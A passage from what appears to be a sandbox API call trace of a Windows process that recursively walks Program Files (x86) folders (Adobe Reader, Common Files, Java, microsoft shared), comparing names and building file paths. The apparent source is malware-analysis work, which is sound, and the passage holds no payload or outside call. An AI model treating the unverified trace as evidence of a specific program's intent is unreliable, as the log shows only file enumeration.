10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned 54 [0040.127] lstrcpyW (in: lpString1=0x12f450, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0040.128] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.128] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2=".") returned 1 [0040.128] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2="..") returned 1 [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.128] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0040.128] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned 54 [0040.128] lstrcpyW (in: lpString1=0x12f4c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0040.128] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.128] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2=".") returned 1 [0040.128] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2="..") returned 1 [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.128] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0040.128] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned 54 [0040.128] lstrcpyW (in: lpString1=0x12f540, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0040.128] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.128] lstrcmpW (lpString1="ReadMeJ.htm", lpString2=".") returned 1 [0040.128] lstrcmpW (lpString1="ReadMeJ.htm", lpString2="..") returned 1 [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.128] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0040.128] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned 52 [0040.128] lstrcpyW (in: lpString1=0x12f5b8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0040.128] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.128] lstrcmpW (lpString1="ReadMeK.htm", lpString2=".") returned 1 [0040.128] lstrcmpW (lpString1="ReadMeK.htm", lpString2="..") returned 1 [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.128] lstrlenW (lpString="ReadMeK.htm") returned 11 [0040.128] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned 52 [0040.128] lstrcpyW (in: lpString1=0x12f630, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0040.128] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.128] lstrcmpW (lpString1="ReadMePOL.htm", lpString2=".") returned 1 [0040.128] lstrcmpW (lpString1="ReadMePOL.htm", lpString2="..") returned 1 [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.128] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0040.128] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned 54 [0040.128] lstrcpyW (in: lpString1=0x12f6a8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0040.128] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.128] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2=".") returned 1 [0040.128] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2="..") returned 1 [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.128] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0040.128] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0040.128] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned 54 [0040.128] lstrcpyW (in: lpString1=0x12f720, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0040.128] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.129] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2=".") returned 1 [0040.129] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2="..") returned 1 [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.129] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0040.129] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned 54 [0040.129] lstrcpyW (in: lpString1=0x5e0060, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0040.129] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.129] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2=".") returned 1 [0040.129] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2="..") returned 1 [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.129] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0040.129] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned 54 [0040.129] lstrcpyW (in: lpString1=0x5e00d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0040.129] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.129] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2=".") returned 1 [0040.129] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2="..") returned 1 [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.129] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0040.129] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned 54 [0040.129] lstrcpyW (in: lpString1=0x5e0150, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0040.129] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.129] lstrcmpW (lpString1="Resource", lpString2=".") returned 1 [0040.129] lstrcmpW (lpString1="Resource", lpString2="..") returned 1 [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.129] lstrlenW (lpString="Resource") returned 8 [0040.129] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Resource" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0040.129] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.129] lstrcmpW (lpString1="Setup Files", lpString2=".") returned 1 [0040.129] lstrcmpW (lpString1="Setup Files", lpString2="..") returned 1 [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.129] lstrlenW (lpString="Setup Files") returned 11 [0040.129] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Setup Files" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0040.129] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.129] lstrcmpW (lpString1="Vigtigt.htm", lpString2=".") returned 1 [0040.129] lstrcmpW (lpString1="Vigtigt.htm", lpString2="..") returned 1 [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.129] lstrlenW (lpString="Vigtigt.htm") returned 11 [0040.129] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0040.129] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned 52 [0040.129] lstrcpyW (in: lpString1=0x5e01c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0040.129] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.129] lstrcmpW (lpString1="Viktig.htm", lpString2=".") returned 1 [0040.129] lstrcmpW (lpString1="Viktig.htm", lpString2="..") returned 1 [0040.130] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.130] lstrlenW (lpString="Viktig.htm") returned 10 [0040.130] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0040.130] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned 51 [0040.130] lstrcpyW (in: lpString1=0x12f798, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0040.130] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.130] lstrcmpW (lpString1="Viktigt.htm", lpString2=".") returned 1 [0040.130] lstrcmpW (lpString1="Viktigt.htm", lpString2="..") returned 1 [0040.130] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.130] lstrlenW (lpString="Viktigt.htm") returned 11 [0040.130] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0040.130] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned 52 [0040.130] lstrcpyW (in: lpString1=0x5e0240, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0040.130] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.130] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.130] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.130] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.130] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.130] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1 [0040.130] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1 [0040.130] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.130] lstrlenW (lpString="Common Files") returned 12 [0040.130] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Common Files" | out: lpString1="c:\\Program Files (x86)\\Common Files") returned="c:\\Program Files (x86)\\Common Files" [0040.130] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\") returned="c:\\Program Files (x86)\\Common Files\\" [0040.130] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0040.130] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\*") returned="c:\\Program Files (x86)\\Common Files\\*" [0040.130] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.130] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.130] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.130] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.130] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.130] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.130] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0040.130] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0040.130] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0040.130] lstrlenW (lpString="Adobe") returned 5 [0040.130] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe") returned="c:\\Program Files (x86)\\Common Files\\Adobe" [0040.130] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\" [0040.130] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0040.130] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\*" [0040.130] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.131] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.131] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.131] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.131] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.131] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.131] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0040.131] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0040.131] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0040.131] lstrlenW (lpString="Acrobat") returned 7 [0040.131] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0040.131] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.131] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0040.131] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0040.131] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0040.131] lstrlenW (lpString="ARM") returned 3 [0040.131] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0040.131] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.131] lstrcmpW (lpString1="HelpCfg", lpString2=".") returned 1 [0040.131] lstrcmpW (lpString1="HelpCfg", lpString2="..") returned 1 [0040.131] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0040.131] lstrlenW (lpString="HelpCfg") returned 7 [0040.131] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="HelpCfg" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0040.131] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.131] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.131] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.131] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2=".") returned 1 [0040.131] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2="..") returned 1 [0040.131] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0040.131] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0040.131] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0040.131] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned 77 [0040.131] lstrcpyW (in: lpString1=0x12f808, lpString2="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0040.131] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.131] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0040.131] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0040.131] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0040.131] lstrlenW (lpString="Java") returned 4 [0040.131] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java") returned="c:\\Program Files (x86)\\Common Files\\Java" [0040.131] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\") returned="c:\\Program Files (x86)\\Common Files\\Java\\" [0040.131] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0040.131] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\*") returned="c:\\Program Files (x86)\\Common Files\\Java\\*" [0040.131] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.131] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.131] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.132] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.132] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.132] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.132] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0040.132] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0040.132] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0040.132] lstrlenW (lpString="Java Update") returned 11 [0040.132] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="Java Update" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="c:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0040.132] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.132] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.132] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.132] lstrcmpW (lpString1="microsoft shared", lpString2=".") returned 1 [0040.132] lstrcmpW (lpString1="microsoft shared", lpString2="..") returned 1 [0040.132] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0040.132] lstrlenW (lpString="microsoft shared") returned 16 [0040.132] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="microsoft shared" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared" [0040.132] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\" [0040.132] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.132] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*" [0040.132] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.132] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.132] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.132] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.132] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.132] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.132] lstrcmpW (lpString1="DAO", lpString2=".") returned 1 [0040.132] lstrcmpW (lpString1="DAO", lpString2="..") returned 1 [0040.132] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.132] lstrlenW (lpString="DAO") returned 3 [0040.132] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="DAO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" [0040.132] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.132] lstrcmpW (lpString1="ink", lpString2=".") returned 1 [0040.132] lstrcmpW (lpString1="ink", lpString2="..") returned 1 [0040.132] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0040.132] lstrlenW (lpString="ink") returned 3 [0040.132] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="ink" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" [0040.132] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.132] lstrcmpW (lpString1="MSEnv", lpString2=".") returned 1 